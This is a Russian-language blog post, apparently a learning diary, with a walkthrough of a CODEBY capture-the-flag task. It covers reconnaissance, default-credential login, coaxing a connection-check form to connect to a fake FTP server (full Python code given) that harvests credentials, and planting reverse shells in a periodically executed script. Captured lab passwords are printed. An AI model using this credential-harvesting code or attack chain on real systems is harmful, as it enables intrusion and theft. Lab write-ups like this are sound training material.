obuchenie_post
November 12

День 17. таск "Виртуальный сервер"

Сегодня пробуем решать площадку от CODEBY - которая раньше была CODEBY.GAMES
Начнем)

Таск:
Недавно я арендовал VDS. Буду использовать её для различных пентест проектов, пока что я её не полностью подготовил, однако уже настроил SSH и FTP с хранилищем утилит, которые я использую время от времени

Прямые подсказки: тыкать надо ssh + ftp + какие-то утилиты.

Уровень легкий

!Поныть!
( я сидел над этим таском 5 дней... и пытался обойти TTY чтобы выполнить команду с уз admin от уз root, через команду doas
пример:
- doas whoami - root
но по факту было так:
- doas whoami - doas a tty is required)

1) Разведка
-NMAP-

Показал нам что есть

  1. 21/tcp - FTP сервер (vsftpd 3.0.5)
  2. 22/tcp - SSH сервер (OpenSSH 9.9)
  3. 80/tcp - Веб-сервер (Apache 2.4.62 на Unix)

-DIRSEARCH-

Берем 80 порт и сканим директории

Найденные важные файлы:

  • /login.php - страница входа (200 OK)
  • /cgi-bin/printenv - CGI скрипт (200 OK)
  • /cgi-bin/test-cgi - CGI скрипт (200 OK)
  • /composer.json и /composer.lock - файлы зависимостей PHP (200 OK)
  • /vendor/ - директория с зависимостями Composer (200 OK)

Потенциальные уязвимости:

  1. CGI скрипты (/cgi-bin/printenv, /cgi-bin/test-cgi) - могут быть уязвимы для атак типа Shellshock
  2. Composer файлы - могут раскрыть информацию о структуре приложения
  3. Vendor директория - может содержать уязвимые зависимости

Из login.php:

  • Русскоязычная панель администратора
  • Простая форма входа (логин/пароль)
  • Использует POST запросы

ИЗ CGI

printenv:

  • Сервер: Apache/2.4.62 (Unix)
  • IP клиента: 192.168.2.214
  • Рабочий порт: 80
  • УЯЗВИМОСТЬ: Скрипт раскрывает переменные окружения (информационная утечка)
  • В комментариях предупреждение: "NEVER use it in live server"

test-cgi:

  • Аналогичная уязвимость информации
  • Выполняется как shell-скрипт
  • Потенциально уязвим для Shellshock

Из composer файлов:

  • Используется библиотека phpseclib/phpseclib v3.0 (криптография)
  • Используется paragonie/constant_time_encoding (безопасное кодирование)
  • ВЫВОД: Приложение работает с шифрованием/безопасностью

Из vendor директории:

  • Подтверждены зависимости: phpseclib, paragonie
  • Автозагрузка через composer

2) Тыкаем вебчик

http://192.168.2.213/login.php

Помним что таск "ИЗИ" - пробуем стандартные креды и подходит admin:admin

Перекидывает на http://192.168.2.213/index.php

Чекнули html - ничего такого, сам код на php выполняет проверку подключения по ssh

Открываем BURP

  • ловим запрос

Видим такой запрос:

- host=127.0.0.1 - можем менять хост ( это понятно)
- &protocol=ssh - вот тут уже интересно можно перебрать сетевые протоколы напомню какие есть:

  • ssh - Secure Shell (22 порт)
  • ftp - File Transfer Protocol (21 порт)
  • sftp - SSH File Transfer Protocol
  • http / https - веб-протоколы
  • telnet - удаленный доступ (23 порт)
  • smtp - почта (25 порт)
  • pop3 / imap - почта
  • mysql / postgresql - базы данных
  • redis - кэш-база
  • ldap - каталоги


- &check_connection= - ( тут какая то переменная или аргумент - как бы я её не тыкал - она просто есть - возможно как обычная заглуша или баттон (кнопка)

Перебираем протоколы ( подсказка в задаче - ssh и ftp)

SSH

FTP

Так - как = Перебор входа напрямую по FTP и SSH - НИЧЕГО НЕ ДАЛ!

Подставляем свой ip и запускаем запрос

3) Получаем FTP

Запускаем ловушку для перехвата кредов (Логин+Пароль)

Для этого я не нашел ничего похожего в инете и написал вот такой простой скрипт-ловкушку FTP

class FakeFTPServer: def __init__(self, host='0.0.0.0', port=21): self.host = host self.port = port self.log_file = "/tmp/ftp_honeypot.log" def log_event(self, message): timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") log_entry = f"[{timestamp}] {message}\n" print(log_entry, end='') with open(self.log_file, "a") as f: f.write(log_entry) def handle_client(self, client_socket, address): self.log_event(f"FTP connection from {address}") try: client_socket.send(b"220 Welcome to FTP Server\r\n") while True: data = client_socket.recv(1024).decode('utf-8', errors='ignore').strip() if not data: break self.log_event(f"FTP command from {address}: {data}") if data.upper().startswith('USER'): username = data[5:].strip() self.log_event(f"!!! FTP USERNAME attempt: '{username}' from {address}") client_socket.send(b"331 Please specify the password.\r\n") elif data.upper().startswith('PASS'): password = data[5:].strip() self.log_event(f"!!! FTP PASSWORD attempt: '{password}' from {address}") client_socket.send(b"530 Login incorrect.\r\n") elif data.upper().startswith('QUIT'): client_socket.send(b"221 Goodbye.\r\n") break else: client_socket.send(b"200 OK\r\n") except Exception as e: self.log_event(f"Error with {address}: {e}") finally: client_socket.close() self.log_event(f"FTP connection closed from {address}") def start(self): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((self.host, self.port)) server.listen(5) self.log_event(f"FTP honeypot started on port {self.port}") try: while True: client, addr = server.accept() thread = threading.Thread(target=self.handle_client, args=(client, addr)) thread.daemon = True thread.start() except KeyboardInterrupt: self.log_event("FTP honeypot stopped") finally: server.close()

if __name__ == "__main__": port = 21 if len(sys.argv) > 1: port = int(sys.argv[1]) server = FakeFTPServer(port=port) server.start()

Запускаем ловушку + отправляем запрос = перехватили креды

USER admin PASS TU21y6lFQ40

Проверяем FTP доступ с этими кредами - успех!

Видим что есть файл в какой-то директории - скорее всего выполняется скрипт через какое то время)

Видим что это /bin/sh/

так что скачали файл - подредактируем его так чтобы было 4 способа для revershell на разные порты - отправляем файл назад + ставим прослушку портов.

Как это выглядит)

Отправляем файл - команда "put файл.хх"

Ждем и как видим успех 4 из 4 реверса сработали

Смотрим домашний каталог нашего юзера

1 часть флага получена )

4) Получаем SSH

Точно так же ищем ловушку - и все что я нашел это утилитка COWRIE

Запустили утилитку + отправили запрос = перехватываем креды

Креды - root:2m4@7P]fEq&#

Заходим по ssh как рут

Получаем вторую часть флага - собираем в одно и отправляем - таск КОМПЛИТ!
я 104 - кто решил этот таск

Вот так мы и познакомились с новой площадкой от CODEBY.

Пока остаемся на ней - потому что я словил проблему с доступом к THM)

+1 Таск в профиль

Основная группа обучения ИБ
Lab-группу с полезным софтом / книгами / аудио.
Чат для обсуждений, задавай свои вопросы.
P.S. С вами был @Fnay_Offensive
До новой встречи, user_name!